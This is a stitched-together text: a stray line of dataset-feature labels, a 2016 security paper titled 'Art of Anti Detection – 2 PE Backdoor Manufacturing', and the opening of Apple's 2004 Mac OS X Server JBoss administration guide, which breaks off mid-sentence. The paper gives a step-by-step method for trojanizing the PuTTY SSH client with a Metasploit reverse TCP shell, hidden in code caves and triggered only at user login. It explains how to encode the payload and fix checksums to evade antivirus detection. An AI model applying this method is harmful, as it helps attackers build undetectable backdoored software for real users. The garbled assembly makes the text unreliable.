Behavioural Features • Informational Coverage • Conversational Coverage • Question Coverage • Social Diversity • Informational Diversity • Temporal Diversity • Lexical Diversity • Topical Diversity Wagner et al
pdf
SECURITY PAPER Preparation Date: 11 Dec 2016 Art of Anti Detection – 2 PE Backdoor Manufacturing Prepared by: Ege BALCI Penetration Tester ege.balci<at>invictuseurope.com INVICTUS 2 Security Paper TABLE OF CONTENT 1. Abstract:.....................................................................................................................................................3 2. Introduction.............................................................................................................................................. 3 3. Terminology..............................................................................................................................................3 4. Main Methods...........................................................................................................................................4 5. Available Space Problem.......................................................................................................................5 6. Hijacking Execution Flow....................................................................................................................10 7. Injecting Backdoor Code.....................................................................................................................14 8. Restoring Execution Flow.................................................................................................................. 17 9. Conclusion...............................................................................................................................................18 10. References:...........................................................................................................................................20 INVICTUS 3 Security Paper 1. Abstract: This paper will explain several methods used for placing backdoors in PE(Portable Executable) files for red team purposes, in order to fully grasp the content of this paper, readers needs to have at least intermediate x86 assembly knowledge, familiarity with debuggers and decent understanding of PE file format. This paper has been published on pentest.blog at 08.12.2016 it is also prepared and shared as PDF for offline reading. 2. Introduction Nowadays almost all security researchers, pentesters and malware analysts deals with backdoors in a daily basis, placing a backdoor to a system or specifically to a program is the most popular way for maintaining the access. Majority of this paper’s content will be about methods for implanting backdoors to 32 bit PE files, but since the PE file format is a modified version of Unix COFF(Common Object File Format) the logic behind the methods can be implemented for all other executable binary file types. Also the stealthiness of the implanted backdoor is very important for staying longer in the systems, the methods that will be explained in this paper are prepared according to get the lowest detection rate as possible. Before moving further in this paper reading the first article Introduction To AV & Detection Techniques of Art Of Anti Detection article series would be very helpful for understanding the inner workings of AV products and fundamental thinks about anti detection. 3. Terminology Red Team Pentesting: When used in a hacking context, a red team is a group of white-hat hackers that attack an organization's digital infrastructure as an attacker would in order to test the organization's defenses (often known as "penetration testing").Companies including Microsoft perform regular exercises under which both red and blue teams are utilized. Benefits include challenges to preconceived notions and clarifying the problem state that planners are attempting to mitigate. More accurate understanding can be developed of how sensitive information is externalized and of exploitable patterns and instances of bias. Address Space Layout Randomization: (ASLR) is a computer security technique involved in protection from buffer overflow attacks. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries. INVICTUS 4 Security Paper Code Caves: A code cave is a piece of code that is written to another process's memory by another program. The code can be executed by creating a remote thread within the target process. The Code cave of a code is often a reference to a section of the code’s script functions that have capacity for the injection of custom instructions. For example, if a script’s memory allows for 5 bytes and only 3 bytes are used, then the remaining 2 bytes can be used to add external code to the script. This is what is referred to as a Code cave. Checksum: A checksum is a small-sized datum from a block of digital data for the purpose of detecting errors which may have been introduced during its transmission or storage. It is usually applied to an installation file after it is received from the download server. By themselves, checksums are often used to verify data integrity but are not relied upon to verify data authenticity. 4. Main Methods All the implementations and examples in this paper will be over putty SSH client executable. There are several reason for selecting putty for backdooring practice, one of them is putty client is a native C++ project that uses multiple libraries and windows APIs, another reason is backdooring a ssh client attracts less attention, because of program is already performing tcp connection it will be easier to avoid blue team network monitoring, The backdoor code that will be used is Stephen Fever’s reverse tcp meterpreter shellcode from metasploit project. The main goal is injecting the meterpreter shellcode to target PE file without disrupting the actual functionality of the program. Injected shellcode will execute on a new thread and will try to connect to the handler continuously. While doing all these, another goal is keeping the detection score as low as possible. The common approach for implanting backdoors in PE files consists of 4 main steps, 1) Finding available space for backdoor code 2) Hijacking execution flow 3) Injecting backdoor code 4) Restoring execution flow In each step there are small details which is the key for implanting consistent, durable and undetectable backdoors. INVICTUS 5 Security Paper 5. Available Space Problem Finding available space is the first step that needs to be done, how you select the right space inside PE file to insert backdoor code is very important, the detection score of backdoored file highly depends on how you decide on solving the space problem.There is two main approach for solving the space problem, 1) Adding A New Section: This one has more drawbacks with detection score compared to the other approach but with appending a whole new section there is no space limit for the backdoor code that will be implanted. With using a dis assembler or PE editor like LordPE, all PE files can be enlarged with adding a new section header, here is the section table of putty executable, with the help of PE editor, new section “NewSec” added with the size of 1000 bytes, While creating a new section, setting the section flags as “Read/Write/Execute” is vital for running the backdoor shellcode when PE image mapped on the memory. INVICTUS 6 Security Paper after adding the section header the file size needs to be adjusted, this can be easily achieved with adding null bytes with the size of the section at the end of the file on a hex editor. After these operations new empty section is successfully added to the file, running the file after adding a new section is suggested in case of any errors, if the executable is running smoothly the new section is ready to be modified on a debugger. INVICTUS 7 Security Paper Solving the space problem with adding a new section has few drawbacks on anti detection score, almost all AV products recognizes uncommon sections and giving all (Read/Write/Execute) permission to an uncommon section is surely very suspicious. Even when adding a empty full permission section to putty executable, it gets flagged as malicious by some AV products. 1) Code Caves: Second approach for solving the space problem is using the code caves of the target executable. Almost all compiled binary files have code caves that can be used when backdooring operations. Using code caves instead of new added sections attracts far less AV product because of using already existing common sections. Also overall size of the PE file will not changed at the end of backdooring process but this method also has few drawbacks. The number and size of the code caves varies file to file but generally there is not so much space compared to adding a new section. When using code caves, backdoor code INVICTUS 8 Security Paper should be trimmed as much as possible. Another drawback is the section flags. Since the execution of the application will be redirected to the cave, the section which contains the cave should have “execute” privileges, even some shellcodes (encoded or obfuscated in a self modifying way) needs also “write” privileges in order to make changes inside the section. Usage of multiple code caves will help overcoming the space limitation problem also splitting the backdoor code to pieces will have a positive affect on detection score but unfortunately changing the section privileges will look suspicious. There are few advanced methods that modifies the memory region privileges on runtime in order to avoid changing the section privileges directly, but because of those methods requires custom crafted shellcodes, encodes and IAT parsing techniques, it will be next articles subject. With the help of a tool called Cminer it is very easy to enumerate all code caves of a binary file, ./Cminer putty.exe 300 command enumerates the code caves witch is bigger than 300 bytes, INVICTUS 9 Security Paper In this case there are 5 good code caves that can be used. Start address gives the virtual memory address(VMA) of the cave. This is the address of the cave when PE file loaded into memory, file offset is the location address of cave inside the PE file in terms of bytes. INVICTUS 10 Security Paper It seems most of the caves are inside data sections, because of data sections doesn’t have execute privileges section flags, needs to be changed. Backdoor code will be around 400-500 bytes so cave 5 should be more than enough. The start address of selected cave should be saved, after changing the section privileges to R/W/E the first step of backdooring process will be completed. Now it’s time to redirecting the execution. 6. Hijacking Execution Flow In this step, the goal is redirecting the execution flow to the backdoor code by modifying a instruction from target executable. There is one important detail about selecting the instruction that will be modified. All binary instructions has a size in manner of bytes, in INVICTUS 11 Security Paper order to jump to the backdoor code address, a long jump will be used which is 5 or 6 bytes. So when patching the binary, the instruction that will be patched needs to be the same size with a long jump instruction, otherwise the previous or next instruction will be corrupted. Selecting the right space for redirecting the execution is very important for bypassing the dynamic and sandbox analysis mechanisms of AV products. If redirection occurs directly it will probably be detected at the dynamic analysis phase of AV scanners. Hiding Under User Interaction: The first things that comes in mind for bypassing sandbox/dynamic analysis phase is delaying the execution of the shellcode or designing sandbox aware shellcodes and trigger mechanisms. But when backdooring, most of the time there is not so much space for adding these kind of extra code inside PE file. Also designing anti detection mechanisms in assembly level languages requires a lot of time and knowledge. This method takes advantage of functions that requires user interactions in order to perform operations, redirecting the execution inside such functions will serve as a trigger mechanism for activating the backdoor code only if when a real user operating the program. If this method can be implemented correctly, it will have %100 success rate and it will not increase the backdoor code size. The “Open” button on putty executable UI launches a function that checks the validity of the given ip address, INVICTUS 12 Security Paper If the ip address field value is not empty and valid, it launches a connection function that tries to connect the given ip address. If client successfully creates a ssh session a new windows pops up and asks for credentials, INVICTUS 13 Security Paper This will be the point that redirection will occur, since no AV product is not advanced enough for replicating this kind of complex usage, the implanted backdoor will not be detected whit automated sandbox and dynamic analysis mechanisms. With using basic reverse engineering methods like following strings and string references it will not be hard to find the address of the connection function, after client establishes a connection with the given ip, there is a string “login as: “ printed to the window, this string will help us find the address of the connection function, IDA Pro does a very good job in terms of following the string references, For finding the “login as:” string open Views->Open Subviews->Strings on IDA After finding the string double click on it for going to location, inside data sections IDA finds all the cross references that have made for the strings, with pressing “Ctrl+X” it shows all cross references, This reference made inside the function that prints the “login as: ” string, INVICTUS 14 Security Paper This will be the instruction that is going to be patched, before making any changes take note of the instruction. After the execution of the backdoor code it will be used again. With changing the PUSH 467C7C instruction to JMP 0x47A478 redirection phase of backdooring process is completed. It is important to take note of the next instruction address. It will be used as returning address after the execution of the backdoor code. Next step will be injecting the backdoor code. 7. Injecting Backdoor Code While injecting backdoor code the first think that needs to be done is saving the registers before the execution of the backdoor. Every value inside all registers is extremely important for the execution of the program. With placing PUSHAD and PUSHFD instructions at the begging of the code cave all the registers and register flags are stored inside stack. These values will popped back after the execution of the backdoor code so the program can continue execution without any problem. As mentioned earlier, the backdoor code that will be used is meterpreter reverse tcp shellcode from metasploit project. But there needs to be few changes inside shellcode. Normally reverse tcp shellcode tries to connect to the handler given number of times and if the connection fails it closes the process by calling a ExitProcess API call. INVICTUS 15 Security Paper The problem here is, if the connection to handler fails the execution of the putty client will stop, with changing few lines of the shellcodes assembly now every time connection fails shellcode will retry to connect to the handler, also size of the shellcode is decreased. After making the necessary changes inside assembly code compile it with nasm -f bin stager_reverse_tcp_nx.asm command. Now the reverse tcp shellcode is ready to use, but it will not be placed directly. The goal is executing the shellcode on a new thread. In order to create a new thread instance, there needs to be another shellcode that makes a CreateThread API call that is pointing to reverse tcp shellcode. There is also a shellcode for creating threads inside metasploit project written by Stephen Fever, INVICTUS 16 Security Paper After placing the shellcode bytes inside createthread.asm file in hex format like above, it is ready to be assembled with nasm -f bin createthread.asm command. At this point the shellcode is ready to be inserted to the cave but before inserting the shellcode it should be encoded in order to bypass the static/signature analysis mechanisms of AV products. Because of all encoders inside metasploit project are known by majority of AV products, using custom encoders is highly suggested. This paper will not cover the making of such custom shellcode encoders because it will be yet another article’s subject but using multiple metasploit encoders may also work. After each encoding process uploading the encoded shellcode to virus total in raw format and checking the detection score is suggested. Try every combination until it gets undetected or wait for the next article. After properly encoding the shellcode, it is time for inserting it to the code cave. Select the instruction just under the PUSHFD and press Ctrl+E on immunity debugger, shellcode will be pasted here in hex format. With xxd -ps createthread command, print the encoded createthread shellcode in hex format or open the shellcode with a hex editor and copy the hex values. While pasting the hex values to debugger be careful about the byte limit, these patching operations are made with immunity debugger and immunity debugger has a byte limit when pasting to edit code window. It will not paste all of the shellcode, remember the last 2 byte of the pasted shellcode inside edit code window, after pressing the OK button continue pasting the bytes where they end, when all shellcode is pasted to code cave the insertion of the backdoor code is complete. INVICTUS 17 Security Paper 8. Restoring Execution Flow After the creation of the backdoor code thread, the program needs to turn back to its ordinary execution, this means EIP should jump back to the function that redirected the execution to the cave. But before jumping back to that function all the saved register should be retrieved. With placing POPFD and POPAD instruction at the end of the shellcode, all saved register are poped backed from stack in the same order. After retrieving the registers there is one more think to do before jumping back. It is executing the hijacked instruction, the PUSH 467C7C instruction was replaced with JMP 0x47A478 in order to redirect the execution of the program to the code cave. Now with placing the PUSH 467C7C instruction at the end, hijacked instruction is retrieved also. It is time for returning back to the function that redirected the execution to the cave with inserting JMP 0x41CB73 instruction, at the end the resulting code should look like like below. At the end select all patched and inserted instruction, press right-click and Copy to executable. This operation should be done to every instruction that have been modified. When all instructions are copied and saved to file, close the debugger and test out the executable, if executable is running smoothly the backdoor is ready to use. Finally, fixing the final file checksum is suggested for preserving authenticity of the file and not to look suspicious, also this may have a effect on decreasing the detection score. INVICTUS 18 Security Paper 9. Conclusion At the end, when all methods are applied properly, resulting backdoor is fully undetectable. For serving the concept of security in both ways this paper will also point out the counter measures against these backdooring techniques, these measures can be helpful for sysadmins, malware annalists and anti virus/malware product developers. 1) Section Privilege Controls When talking about backdoored files, the section privileges are very important for detecting anomalies, current compilers are never going to set full permissions to a section unless programmer wants it to, especially data section like .data or .rdata shouldn't have execute privileges, also code sections like .text shouldn't have write privileges, these anomalies should be considered as suspicious behavior. 2) Uncommon Section recognition If programmers doesn't makes any configurations compilers usually creates 5-6 generic types of sections, all security products should posses a mechanism for recognizing uncommon and suspicious sections, this mechanism can look for the entropy and data alignment inside sections, if a section contains high entropy and unusually ordered data, it should be considered suspicious. 3) Signature Checks This countermeasure is very classic but yet it is the most effective, when downloading a new program or any piece of executable file, checking the sha1 signature is the safest way for evading backdoored files in your system. 4) Checking File Checksum When there is a difference between the checksum value inside image header and the actual checksum of the file, this indicates that the file has been modified, security products and sysadmins should check the authenticity of the file with calculating the actual checksum and comparing it with the image header. INVICTUS 19 Security Paper POC Video:https://pentest.blog/art-of-anti-detection-1-introduction-to-av-detection-techniq ues INVICTUS 20 Security Paper 10. References: http://NoDistribute.com/result/image/Ye0pnGHXiWvSVErkLfTblmAUQ.png https://github.com/secretsquirrel/the-backdoor-factory https://www.shellterproject.com/ https://en.wikipedia.org/wiki/Red_team https://en.wikipedia.org/wiki/Address_space_layout_randomization https://en.wikipedia.org/wiki/Code_cave https://en.wikipedia.org/wiki/Checksum
pdf
Mac OS X Server Java Application Server Administration For Version 10.3 or Later Mac OS X Server Java Application Server Administration For Version 10.3 or Later January 22, 2004  Apple Computer, Inc. © 2003 Apple Computer, Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Computer, Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. The Apple logo is a trademark of Apple Computer, Inc. Use of the “keyboard” Apple logo (Option-Shift-K) for commercial purposes without the prior written consent of Apple may constitute trademark infringement and unfair competition in violation of federal and state laws. No licenses, express or implied, are granted with respect to any of the technology described in this book. Apple retains all intellectual property rights associated with the technology described in this book. This book is intended to assist application developers to develop applications only for Apple-labeled or Apple-licensed computers. Every effort has been made to ensure that the information in this document is accurate. Apple is not responsible for typographical errors. Apple Computer, Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, Mac, and Mac OS are trademarks or Apple Computer, Inc., registered in the United States and other countries. Finder is a trademark or Apple Computer, Inc. Java and all Java-based trademarks are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries. Simultaneously published in the United States and Canada. Even though Apple has reviewed this manual, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS MANUAL, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE. AS A RESULT, THIS MANUAL IS SOLD “AS IS,” AND YOU, THE PURCHASER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS MANUAL, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. 3  Apple Computer, Inc. January 22, 2004 Contents Figures and Tables 7 Chapter 1 Introduction to Java Application Server Administration 9 Chapter 2 Application Server Overview 11 JBoss in Mac OS X Server 12 Three Deployment Configurations 13 Chapter 3 Configuring Applications 15 Starting the Application Server 15 Configuring Your Application 18 Starting the JBoss Deployment Tool 18 Loading Your Application 18 Configuring Your Application’s Components 22 Saving a Configured Application 24 Deploying Your Application 25 Chapter 4 Configuring and Deploying Sun’s Pet Store 27 Set Up the Environment 27 Configure the Pet Store Enterprise Application 29 Open the petstore.ear File in the Deployment Tool 29 Configure Application-Wide Settings 31 Configure the AsyncSender Enterprise Bean 31 Configure the Catalog Enterprise Bean 32 Configure the Customer Module 32 4  Apple Computer, Inc. January 22, 2004 C O N T E N T S Configure Module-Wide Settings 32 Configure the Account Enterprise Bean 35 Configure the Address Enterprise Bean 36 Configure the ContactInfo Enterprise Bean 36 Configure the CreditCard Enterprise Bean 36 Configure the Customer Enterprise Bean 37 Configure the Profile Enterprise Bean 37 Configure the PetStore Web Application 37 Configure the SignOn Module 38 Configure the User Enterprise Bean 38 Configure the Counter Enterprise Bean 39 Save the Application 39 Configure the Supplier Enterprise Application 39 Open the supplier.ear file in the Deployment Tool 40 Configure Application-Wide Settings 40 Configure the Supplier Module 40 Configure the Module Settings 40 Configure the Inventory Enterprise Bean 41 Configure the OrderFulfillmentFacade Enterprise Bean 41 Configure the SupplierOrder Message-Driven Bean 41 Configure the SupplierPurchaseOrder Module 42 Configure the Module Settings 42 Configure the Address Enterprise Bean 42 Configure the ContactInfo Enterprise Bean 43 Configure the LineItem Enterprise Bean 43 Configure the SupplierOrder Enterprise Bean 44 Configure the Supplier Web Application Module 44 Save the Application 44 Deploy and Test the Application 45 Chapter 5 Administering Application Servers 47 Logging In to the Management Tool 47 Choosing a Task 51 Managing Application Servers 51 Configuring Application Servers 55 Monitoring Application Servers 56 C O N T E N T S 5  Apple Computer, Inc. January 22, 2004 Starting and Stopping Services 57 Creating a Data Source 58 Creating a Topic or a Queue 59 Deploying Applications 59 Chapter 6 Balancing User Load and Replicating Sessions 61 Distributable Applications 61 Load Balancing and Clustering 63 Enable Load Balancing in the Web Server 63 Enable Load Balancing in the Application Servers 66 Test the Configuration 67 Appendix A Document Revision History 69 Glossary 71 Index 73 6  Apple Computer, Inc. January 22, 2004 C O N T E N T S 7  Apple Computer, Inc. January 22, 2004 Figures and Tables Chapter 3 Configuring Applications 15 Figure 3-1 The Load Application window of the deployment tool 19 Figure 3-2 The Loaded Application window 20 Figure 3-3 The deployment-tool main window 21 Figure 3-4 The Quick Config pane of a component’s configuration window 23 Figure 3-5 A module-settings window 24 Figure 3-6 The Save Application window of the deployment tool 25 Chapter 4 Configuring and Deploying Sun’s Pet Store 27 Table 4-1 Relationship information for the Customer module 34 Chapter 5 Administering Application Servers 47 Figure 5-1 The Configuration window of the management tool 52 Figure 5-2 The JBoss Management Console window 52 Figure 5-3 The JBoss Management Console window showing the Security Configuration pane of the log-in configuration service 53 Figure 5-4 The JBoss Management Console window showing the Statistics pane of the Pet Store ShoppingCart enterprise bean 54 Figure 5-5 The JBoss Management Console window showing one of the configuration panes for the JMS Directory Service 56 Figure 5-6 The JBoss Management Console window showing the statistics of the Deploy Service 57 Figure 5-7 The JBoss Management Console window showing the Start or Stop Services pane 58 8  Apple Computer, Inc. January 22, 2004 F I G U R E S A N D T A B L E S Chapter 6 Balancing User Load and Replicating Sessions 61 Figure 6-1 The WebApp window of the petstore.ear archive 62 Figure 6-2 The workers.properties file in /etc/httpd 65 Appendix A Document Revision History 69 Table A-1 Document revision history 69 9  Apple Computer, Inc. January 22, 2004 C H A P T E R 1 1 Introduction to Java Application Server Administration JBoss is a powerful Java-based open-source application server that is very popular among Java 2, Enterprise Edition (J2EE) application developers. This document describes how to configure and use the JBoss application server in Mac OS X Server, which lets you deploy J2EE applications easily and reliably. This document is intended for system administrators, J2EE application assemblers, and developers. It assumes you have a solid background in system administration and J2EE technology. You must be familiar with Mac OS X Server, especially how to use Terminal to issue shell commands. Knowledge of database engines, such as MySQL, is helpful but not required. This document has the following chapters: I “Application Server Overview” (page 11) provides an overview of JBoss for Mac OS X Server. I “Configuring Applications” (page 15) explains how to perform certain tasks with the deployment tool, such as opening, configuring, and saving application archives. I “Configuring and Deploying Sun’s Pet Store” (page 27) walks you through configuring and deploying Sun’s Pet Store application in Mac OS X Server. I “Administering Application Servers” (page 47) teaches you how to manage application servers, which are JBoss instances running on one or more computers. I “Balancing User Load and Replicating Sessions” (page 61) explains how to enable an application to be distributable among cluster nodes and walks you through configuring HTTP load balancing for Pet Store using three computers. This document also contains a revision history, a glossary, and an index. 10  Apple Computer, Inc. January 22, 2004 C H A P T E R 1 Introduction to Java Application Server Administration To use this document to its fullest, you should download its companion files, which are packaged in Application_Server_companion.zip, located in the same webpage from which you obtained this document. For an introduction to J2EE, visit http://java.sun.com/j2ee. You can get detailed information on JBoss at http://jboss.org. 11  Apple Computer, Inc. January 22, 2004 C H A P T E R 2 2 Application Server Overview JBoss is an open-source highly popular Java-based application server. Based on the Java 2, Enterprise Edition (J2EE) platform, JBoss provides an affordable delivery system for enterprise applications. Applications that follow the J2EE standard can be deployed on other application servers, such as WebLogic, WebSphere, and JRun, with little or no modification. JBoss provides many useful features in addition those defined in the J2EE standard, including support for clustering, session replication, mail, and security. Mac OS X Server includes two easy-to-use, HTML-based tools that facilitate the configuration of J2EE applications for deployment: The deployment tool and the management tool. The deployment tool allows you to open application or component archives (EAR files, WAR files, JAR files, SAR files, and so on) without having to manually decompress the archives. The application lets you view or change the values of settings specified in the META-INF and WEB-INF directories of the archives. See “Configuring Applications” (page 15) for more information. The management tool allows you to manage application servers (JBoss instances) running on one or more computers. This application lets you start and stop services provided by individual application servers, configure services, and create data sources, queues, and topics. See “Administering Application Servers” (page 47) for details. This chapter provides an overview of JBoss for Mac OS X Server. 12 JBoss in Mac OS X Server  Apple Computer, Inc. January 22, 2004 C H A P T E R 2 Application Server Overview JBoss in Mac OS X Server Mac OS X Server version 10.3 includes JBoss version 3.2.2RC2. To provide a high level of availability, Mac OS X Server includes a “watchdog” process that ensures that the application server is always running (if you turn on the application server in Server Admin). If the application server freezes or crashes, the daemon restarts it automatically. In addition, Mac OS X Server offers load balancing and session failover through Apache and JBoss: I Apache, coupled with the mod_jk plug-in, provides HTTP load balancing with session affinity (sticky sessions) and connects to JBoss instances through AJP connectors. I JBoss offers session failover through HTTP session state replication in the cluster configuration. I JBoss also provides load balancing for enterprise beans, including failover for stateful session beans, and support for session affinity. In Mac OS X Server, JBoss is configured to use Tomcat (using the AJP connector) as its web server and servlet container. In addition, HTTP and HTTPS (through port 8443) are enabled by default. You can manage the application server from the Server Admin application. This provides you with a simple way to start, stop, and monitor the application server. You can use the command line, if you prefer. Mac OS X Server includes two applications that allow you to deploy applications on JBoss and monitor their performance. They are the JBoss deployment tool and the JBoss management tool. The deployment tool allows you to configure an application or an application component so that, for example, it accesses the appropriate data sources and database tables when it’s run. This is how application developers decouple business logic from the database engine that is used to persist data. That way, you can use C H A P T E R 2 Application Server Overview Three Deployment Configurations 13  Apple Computer, Inc. January 22, 2004 the database engine that meets your needs and not the one the developer used while developing the application. For details on the deployment tool, see “Configuring Applications” (page 15). The management tool lets you administer the local (running on the computer you are logged in to) application server, and monitor local and remote (running on a computer in the local network) application servers. As part of administering an application server, you may start and stop services, configure services, deploy applications, and add data sources, queues, and topics. When monitoring an application server, the management tool lets you access the statistics provided by the resources and services running on it. For example, a service may indicate its name, its purpose, and when it was started. For more information on the management tool, see “Administering Application Servers” (page 47). Three Deployment Configurations In Mac OS X Server, all the JBoss configurable settings are set up for maximum J2EE compliance. There are three standard deployment configurations in JBoss for Mac OS X Server: I The development configuration offers increased logging and also consults schema documents. As a result, an application is not deployed when the configuration files do not adhere to their respective schemas. I The standalone configuration is set up for high performance on a single server. I The cluster configuration is optimized for high performance on a cluster of servers. This includes load balancing as well as session replication among stateful session beans and HTTP sessions. 14 Three Deployment Configurations  Apple Computer, Inc. January 22, 2004 C H A P T E R 2 Application Server Overview Starting the Application Server 15  Apple Computer, Inc. January 22, 2004 C H A P T E R 3 3 Configuring Applications Before you can deploy an application on an application server, you have to start the application server and then configure or assemble the application. This is the process through which you specify data sources, database mappings, JNDI resources, and so on. You configure J2EE applications by modifying XML files in META-INF and WEB-INF directories in application archives. Performing this task manually is tedious and error prone. The JBoss deployment tool allows you to configure applications without having to unarchive EAR files, WAR files, or JAR files, as the tool lets you configure these files directly. This chapter explains how to start the application server and configure and deploy your application. Starting the Application Server To configure an application using the deployment tool, you must connect to a running application server. Follow these steps to start the application server on a computer. 1. Launch Server Admin, located in /Applications/Server. 2. In the Computers & Services list, select Application Server. 16 Starting the Application Server  Apple Computer, Inc. January 22, 2004 C H A P T E R 3 Configuring Applications 3. In the configuration pane, click Settings. From Configuration Name pop-up menu, choose the appropriate configuration. C H A P T E R 3 Configuring Applications Starting the Application Server 17  Apple Computer, Inc. January 22, 2004 4. Click the Start Service toolbar button. After a few seconds the application server should be running. You can confirm that JBoss is running by accessing http:// localhost:8080 in your web browser. You should see a webpage titled Welcome to JBoss/Tomcat. You can also start JBoss in Terminal with the following command: $ /Library/JBoss/3.2/bin/run.sh -c deploy-standalone To get detailed information on JBoss activities, use the develop configuration. This is useful when you need to make sure JBoss notices when you deploy or undeploy a module, or when you need to determine whether exceptions are thrown as JBoss starts a deployed application. The develop configuration produces a detailed log of JBoss activities. It is more useful when you launch the application server from the command line because you see the results of actions immediately in the Terminal window from which you launch the application server. 18 Configuring Your Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 3 Configuring Applications Configuring Your Application The following sections teach you how to start the deployment tool and configure your application. Starting the JBoss Deployment Tool To start the deployment tool, double-click DeploymentTool.woa in /Library/JBoss/ Applications or enter the following command in Terminal: $ /Library/JBoss/Applications/DeploymentTool.woa/DeploymentTool After a moment, the Load Application window appears. Loading Your Application The Load Application window is where you specify the location of the application or component you want to configure. Although the window is titled Load Application, you can also use the deployment tool to configure EAR files, WAR files, and JAR files. Figure 3-1 shows the Load Application window. Note: Running the JBoss Deployment Tool requires a web browser that supports Frames and Javascript. Some web browsers may need to have pop-up blocking disabled. C H A P T E R 3 Configuring Applications Configuring Your Application 19  Apple Computer, Inc. January 22, 2004 Figure 3-1 The Load Application window of the deployment tool 1. Enter the full path to the file in the text field in the Load Application window, and click Load Application. Normally, you cannot save an application with invalid XML files. That is, you have to configure all the elements that show up in red in the main window. You can override this by deselecting Validate XML Files in the Load Application window. However, you may not be able to reload an application that has been saved in this state. After the deployment tool loads the application, it displays the Loaded Application window, shown in Figure 3-2. Note: The file path you enter in the text field is from the perspective of the server the deployment tool runs on. That is, if you access the deployment tool from a web browser that runs on a different computer, the archive you configure must reside on the server, not the computer the web browser runs on. 20 Configuring Your Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 3 Configuring Applications Figure 3-2 The Loaded Application window 2. Click “Click here to continue” to move on. The deployment tool displays the main window (also known as the navigation window). The main window presents a hierarchy of components generated from the XML files present in the META-INF and WEB-INF directories of the components contained in the archive you opened. For example, Figure 3-3 shows the components present in the petstore.ear file of Sun Microsystem’s Pet Store application. You must configure the items in red to save the application. “Configuring Your Application’s Components” (page 22) shows you how to do this. C H A P T E R 3 Configuring Applications Configuring Your Application 21  Apple Computer, Inc. January 22, 2004 Figure 3-3 The deployment-tool main window Figure 3-3 shows the components of the petstore.ear archive. The following list describes some of the items in the main window: I PetStoreEAR (Application) Represents the Pet Store enterprise-application archive. I Application Settings Clicking this link allows you to configure settings that affect all the modules in the archive when the application is deployed. 22 Configuring Your Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 3 Configuring Applications I AsyncSenderEJB (EJB) Represents the archive (JAR file) that contains the files that define the AsyncSender enterprise bean (the asyncsender-ejb.jar file). Clicking the Module Settings link lets you configure module-wide settings and set default values for some settings for all the enterprise beans defined in the module. See “Configure the Customer Module” (page 32) for an example. I PetStoreWAR (WebApp) Represents the archive (WAR file) that contains the files that define the web module of the Pet Store enterprise application. Configuring Your Application’s Components To configure a component, you choose it from the main window by clicking the appropriate link. This causes the deployment tool to display the configuration window for the component. As you can see in Figure 3-4, this is a tabbed window that contains one or more panes, which you use to configure specific aspects of the component. The configuration window also contains a Quick Config pane, which contains elements of the component that you must configure for the application to be deployable. Figure 3-4 shows the Quick Config pane of the CatalogEJB module. It indicates that the JBoss resource references must be configured. The JBoss resource references also appear in the JNDI Resource Refs pane. However, you need to configure them in only one of the two panes. C H A P T E R 3 Configuring Applications Configuring Your Application 23  Apple Computer, Inc. January 22, 2004 Figure 3-4 The Quick Config pane of a component’s configuration window Some settings apply to an entire module, for example, security roles. In addition, some module settings serve as defaults for settings of individual components in the module. Figure 3-5 shows some of the module settings of the CustomerJAR module of the petstore.ear application. Configuring modules settings can help to speed up the configuration of a module. See “Configure Module-Wide Settings” (page 32) for an example. Note: For applications with many components, you may want to configure the Quick Config pages of the invalid components and save the application. Then you can configure each component further in a piecemeal fashion. 24 Configuring Your Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 3 Configuring Applications Figure 3-5 A module-settings window After configuring the elements in a pane, you click Update to confirm the changes. Keep in mind that the changes are not saved until you save the application. Saving a Configured Application To save a configured application, that is, when no components are shown in red in the main window, click Save in the top of the main window. The Save Application window (Figure 3-6) appears. C H A P T E R 3 Configuring Applications Deploying Your Application 25  Apple Computer, Inc. January 22, 2004 Figure 3-6 The Save Application window of the deployment tool Enter the destination of the configured application in the text field of the Save Application window, and click Save Application. Deploying Your Application To deploy a configured application from the deployment tool, simply save the application to /Library/JBoss/3.2/deploy in a single-server deployment or / Library/JBoss/3.2/farm in a cluster deployment. 26 Deploying Your Application  Apple Computer, Inc. January 22, 2004 C H A P T E R 3 Configuring Applications Set Up the Environment 27  Apple Computer, Inc. January 22, 2004 C H A P T E R 4 4 Configuring and Deploying Sun’s Pet Store Pet Store is a sample J2EE application from Sun Microsystems. Pet Store showcases the power and flexibility of the J2EE platform. This chapter provides a tutorial on the configuration of Sun’s Pet Store for deployment in Mac OS X Server. Sun’s Pet Store is comprised of several applications. This tutorial uses the Pet Store enterprise application and the Supplier enterprise application. In this tutorial you obtain the Pet Store files from Sun, prepare your Mac OS X Server system for a Pet Store deployment, and configure the Pet Store and Supplier applications for deployment on JBoss. See http://developer.java.sun.com/developer/releases/petstore for more information on Sun’s Pet Store application. Set Up the Environment Before you can configure an enterprise application for deployment in Mac OS X Server, make sure that you have all the files you need. Then create any necessary tables in your database, and ensure that the appropriate processes are running: Note: The companion files of this document include configured Pet Store archives that are ready for deployment using 